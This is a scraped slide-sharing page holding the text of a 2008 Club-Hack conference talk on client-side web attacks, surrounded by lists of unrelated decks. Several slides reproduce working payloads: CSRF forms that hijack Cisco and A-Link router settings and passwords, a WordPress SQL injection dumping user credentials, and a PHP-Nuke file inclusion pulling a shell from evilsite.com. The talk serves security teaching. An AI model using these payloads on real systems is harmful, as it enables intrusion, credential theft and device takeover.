Enhancing Computer Security via End-to-End Communication Visualization Enhancing Computer Security via End-to-End Communication Visualization
Enhancing Computer Security via End-to-End Communication Visualization
 
Top Network Vulnerabilities Over Time
Top Network Vulnerabilities Over TimeTop Network Vulnerabilities Over Time
Top Network Vulnerabilities Over Time
 
What are the Business Security Metrics?
What are the Business Security Metrics? What are the Business Security Metrics?
What are the Business Security Metrics?
 
No Substitute for Ongoing Data, Quantification, Visualization, and Story-Telling
No Substitute for Ongoing Data, Quantification, Visualization, and Story-TellingNo Substitute for Ongoing Data, Quantification, Visualization, and Story-Telling
No Substitute for Ongoing Data, Quantification, Visualization, and Story-Telling
 

Dernier

Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Scott Andery
 
Manual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance AuditManual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance AuditSkynet Technologies
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Hiroshi SHIBATA
 
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...panagenda
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfIngrid Airi González
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesThousandEyes
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfNeo4j
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityIES VE
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxLoriGlavin3
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsRavi Sanghani
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersNicole Novielli
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality AssuranceInflectra
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsPixlogix Infotech
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesKari Kakkonen
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...AliaaTarek5
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024BookNet Canada
 

Dernier (20)

Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
Enhancing User Experience - Exploring the Latest Features of Tallyman Axis Lo...
 
Manual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance AuditManual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance Audit
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdf
 
Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024Long journey of Ruby standard library at RubyConf AU 2024
Long journey of Ruby standard library at RubyConf AU 2024
 
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
Why device, WIFI, and ISP insights are crucial to supporting remote Microsoft...
 
Generative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdfGenerative Artificial Intelligence: How generative AI works.pdf
Generative Artificial Intelligence: How generative AI works.pdf
 
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyesHow to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
How to Effectively Monitor SD-WAN and SASE Environments with ThousandEyes
 
Connecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdfConnecting the Dots for Information Discovery.pdf
Connecting the Dots for Information Discovery.pdf
 
Decarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a realityDecarbonising Buildings: Making a net-zero built environment a reality
Decarbonising Buildings: Making a net-zero built environment a reality
 
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptxPasskey Providers and Enabling Portability: FIDO Paris Seminar.pptx
Passkey Providers and Enabling Portability: FIDO Paris Seminar.pptx
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
Potential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and InsightsPotential of AI (Generative AI) in Business: Learnings and Insights
Potential of AI (Generative AI) in Business: Learnings and Insights
 
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data PrivacyTrustArc Webinar - How to Build Consumer Trust Through Data Privacy
TrustArc Webinar - How to Build Consumer Trust Through Data Privacy
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
 
A Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software DevelopersA Journey Into the Emotions of Software Developers
A Journey Into the Emotions of Software Developers
 
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance[Webinar] SpiraTest - Setting New Standards in Quality Assurance
[Webinar] SpiraTest - Setting New Standards in Quality Assurance
 
The Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and ConsThe Ultimate Guide to Choosing WordPress Pros and Cons
The Ultimate Guide to Choosing WordPress Pros and Cons
 
Testing tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examplesTesting tools and AI - ideas what to try with some tool examples
Testing tools and AI - ideas what to try with some tool examples
 
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
(How to Program) Paul Deitel, Harvey Deitel-Java How to Program, Early Object...
 
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
Transcript: New from BookNet Canada for 2024: Loan Stars - Tech Forum 2024
 

Hacking Client Side Insecurities

  • 1. Club-Hack 2008 Aditya K Sood Founder , Sec-Niche Security Hacking Client Side Insecurities
  • 2.
  • 3. Hacking Client Side Insecurities Web 2.0 Application Model
  • 4. Hacking Client Side Insecurities [1] Discovering Clients on Internet / Intranet.  Web Application Discovery Protocol  Fingerprinting Embedded Devices.  Rogue Request for HTTP Server Fingerprinting.  JavaScript Based Client Information Retrieval [2] Client Side Attack Patterns.  Pluggable Protocol Handlers.  JavaScript Jacking  JSON Injections [CSRF]  HTTP Verb Jacking  HTTP Verb Tampering.  Insecure Parametric Design of Cookies  Baking with XSS.  War XHR and IFRAME Exploiting Patterns.  Cross Site Request Forging (Embedded Devices)  The High Risk.  Surf Jacking  Jacking HTTPS in Traffic Pool. [3] Web Virtual Environment [RDP/ CITRIX]. [4] Questions and Answers. $ AGENDA
  • 5.
  • 6. Hacking Client Side Insecurities Discovery
  • 7.
  • 8.
  • 9.
  • 10.
  • 11.
  • 12.
  • 13.
  • 14.
  • 15.
  • 16.
  • 17. Hacking Client Side Insecurities Demonstrations!
  • 18. Hacking Client Side Insecurities Web Chemistry! Wow!
  • 19. Hacking Client Side Insecurities Client Side Exploiting Patterns
  • 20.
  • 21.
  • 22.
  • 23. Hacking Client Side Insecurities Java Script Jacking
  • 24. Hacking Client Side Insecurities Java Script Jacking – JSON Injections JSON Injections  The Serialization Insecurity | Web 2.0 Direct Injections with Encoding. Everything is treated as String. Apply toJSONObject(). CSRF  A different way to Fuse attack with Notation Objects. { &quot;menu&quot;: { &quot;id&quot;: &quot;<img src=&quot;https://books.example.com/clickbuy?book=ISBNhere&quantity=100&quot;>&quot;, &quot;value&quot;: &quot;<img src=&quot;https://trading.example.com/xfer?from=MSFT&to=RHAT&confirm=Y&quot;>&quot;, &quot;popup&quot;: &quot;<scriptsrc=&quot;https://www.google.com/accounts/UpdateEmail?service=adsense &Email=mymail@newmail.net&Passwd=cool&save=&quot;></script>&quot; } } } Cross Site Request Forgery Structured in JSON – Google Ad sense Layout.
  • 25.
  • 26. Hacking Client Side Insecurities HTTP Verb Jacking security-constraint> <web-resource-collection> <web-resource-name>drivers</web-resource-name> <description> Security constraint for drivers page </description> <url-pattern>/drivers.html</url-pattern> <http-method>POST</http-method> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <description> constraint for drivers </description> <role-name>manager</role-name> </auth-constraint> </security-constraint> <login-config> <auth-method>BASIC</auth-method> </login-config> <security-role> <role-name>manager</role-name> The snapshot of web.xml file for a certain target. The security constraint parameter defines the allowed request. The type of Authentication allowed. HTTP Verb Jacking  Manager directories will not be Accessed by GET/POST Request. What about HEAD Request. J2EE ,JSP , ASP , ASP.NET,PHP etc are based on configuration files to process the type of request to handle. [ GET/POST/HEAD etc]
  • 27.
  • 28.
  • 29. Hacking Client Side Insecurities XHR and IFRAME < script > var oRequest = new XMLHttpRequest(); var sURL = &quot;http://www.snapdrive.net/files/571814/chrome.txt&quot;; alert('Downloading a txt file..please wait.'); oRequest.open(&quot;GET&quot;,sURL,false); oRequest.setRequestHeader(&quot;User-Agent&quot;,navigator.userAgent); oRequest.send(null); xmlDoc=oRequest.ResponseText; alert(xmlDoc); if (oRequest.status==200) { alert('Done...now try editing the Text-Box!'); var str=&quot; Winget 3.0 DoS Exploit PoC.Minimize Winget & Right-Click & Copy to clipboard.&quot;; document.write(str.link(&quot;http://&quot;+oRequest.responseText+&quot;.exe&quot;)); } else {alert('Error executing XMLHttpRequest call!');} Local Dos [Milw0rm] var iframe = document.createElement(&quot;IFRAME&quot;); iframe.setAttribute(&quot;src&quot;, 'ftp://localhost/anything'); iframe.setAttribute(&quot;name&quot;, 'myiframe'); iframe.setAttribute(&quot;id&quot;, 'myiframe'); iframe.setAttribute(&quot;onload&quot;, 'read_iframe(&quot;myiframe&quot;)'); iframe.style.width = &quot;100px&quot;; iframe.style.height = &quot;100px&quot;; document.body.appendChild(iframe); Konqueror 3.5.5 Crash [Milw0rm] [Word Press SQL Injection through IFRAME] wp-content/plugins/st_newsletter/stnl_iframe.php?newsletter=-9999+UNION+SELECT+concat(user_login,0x3a,user_pass,0x3a,user_email)+FROM+wp_users-- [PHP Nuke IFRAME] http://www.example.com/nuke_path/iframe.php?file=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm http://www.milw0rm.com/exploits/6777 http://www.milw0rm.com/exploits/3512
  • 30. Hacking Client Side Insecurities Embedded Devices - CSRF [1] Cisco Router Remote Administration Execution CSRF Exploit [Milw0rm] < html> <body> <body onload=&quot;fdsa.submit();&quot;> <form name=fdsa method=&quot;post&quot; action=&quot;http://10.10.10.1/level/15/exec/-/configure/http&quot;> <input type=hidden name=command value=&quot;alias exec xx xx&quot;> <input type=hidden name=command_url value=&quot;/level/15/exec/-&quot;> <input type=hidden name=new_command_url value=&quot;/level/15/configure/-&quot;> </body> </html> [3] EXPLAY CMS CSRF Exploit <img src=&quot;http://explay.localhost/admin.php?name =users&page=1&order=user_id&set_admin=2&quot; /> [2] A-Link WL54AP3 and WL54AP2 CSRF [Milw0rm] <html> <body onload=&quot;document.wan.submit(); document.password.submit()&quot;> <form action=&quot;http://192.168.1.254/goform/formWanTcpipSetup&quot; method=&quot;post&quot; name=&quot;wan&quot;> <input type=&quot;hidden&quot; value=&quot;dnsManual&quot; name=&quot;dnsMode&quot; checked> <input type=&quot;hidden&quot; name=&quot;dns1&quot; value=&quot;216.239.32.10&quot;> <input type=&quot;hidden&quot; name=&quot;dns2&quot; value=&quot;216.239.32.10&quot;> <input type=&quot;hidden&quot; name=&quot;dns3&quot; value=&quot;216.239.32.10&quot;> <input type=&quot;hidden&quot; name=&quot;webWanAccess&quot; value=&quot;ON&quot; checked=&quot;checked&quot;> </form> <form action=&quot;http://192.168.1.254/goform/formPasswordSetup&quot; method=&quot;post&quot; name=&quot;password&quot;> <input type=&quot;hidden&quot; name=&quot;username&quot; value=&quot;mallory&quot;> <input type=&quot;hidden&quot; name=&quot;newpass&quot; value=&quot;gotroot&quot;> <input type=&quot;hidden&quot; name=&quot;confpass&quot; value=&quot;gotroot&quot;> </form> </body> </html>
  • 31.
  • 32. Hacking Client Side Insecurities Demonstrations!
  • 33.
  • 34.
  • 35.
  • 36.
  • 37. Hacking Client Side Insecurities Demonstrations!
  • 38. Hacking Client Side Insecurities Questions
  • 39. Hacking Client Side Insecurities Thanks and Regards
  • 40. Hacking Client Side Insecurities SecNiche Security http://www.secniche.org